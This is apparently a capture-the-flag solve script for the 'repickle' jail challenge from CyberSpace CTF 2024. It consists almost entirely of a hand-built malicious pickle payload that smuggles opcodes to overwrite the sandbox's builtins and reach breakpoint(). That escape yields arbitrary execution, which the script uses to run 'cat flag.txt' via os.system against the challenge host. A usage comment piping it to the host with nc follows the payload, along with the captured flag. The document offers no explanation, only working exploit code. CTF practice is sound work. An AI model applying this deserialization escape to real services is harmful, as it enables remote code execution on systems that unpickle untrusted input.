CyberSpace CTF 2024 - repickle (jail)

solve.py

import pickle

smuggled = \
pickle.GLOBAL + b"sandbox\ny\n" + \
pickle.GLOBAL + b"sandbox\n__builtins__\n" + \
pickle.BUILD + \
pickle.GLOBAL + b"sandbox\nbreakpoint\n" + \
pickle.EMPTY_TUPLE + \
pickle.REDUCE

smuggled = smuggled.replace(b"\n", b"\\u000a")

fake_unicode_attr = b"__doc__\\u000a" + smuggled + b"\n"

payload = \
pickle.PROTO + b"\x04" + \
pickle.GLOBAL + b"x\nsandbox\n" + \
pickle.MARK + \
    pickle.NONE + \
    pickle.EMPTY_DICT + \
    pickle.UNICODE + fake_unicode_attr + \
    pickle.GLOBAL + b"x\nSandboxClass\n" + \
    pickle.SETITEM + \
    pickle.UNICODE + b"y\n" + \
    pickle.GLOBAL + b"x\nsandbox\n" + \
    pickle.SETITEM + \
pickle.TUPLE + \
pickle.BUILD + \
pickle.POP + \
pickle.MARK + \
    pickle.GLOBAL + b"x\nSandboxClass\n" + \
    pickle.MARK + \
        pickle.NONE + \
        pickle.EMPTY_DICT + \
        pickle.UNICODE + b"__qualname__\n" + \
        pickle.UNICODE + fake_unicode_attr + \
        pickle.SETITEM + \
    pickle.TUPLE + \
    pickle.BUILD + \
    pickle.EMPTY_TUPLE + \
    pickle.REDUCE + \
    pickle.BININT1 + b"\x02" + \
pickle.TUPLE + \
pickle.STOP

assert len(payload) < 318, f"Payload too long: {len(payload)}"

print(payload.hex())
print("import os;os.system('cat flag.txt')")

# $ python3 solve.py | nc repickle.challs.csc.tf 1337
# CSCTF{repickle_601c2ab4c856c}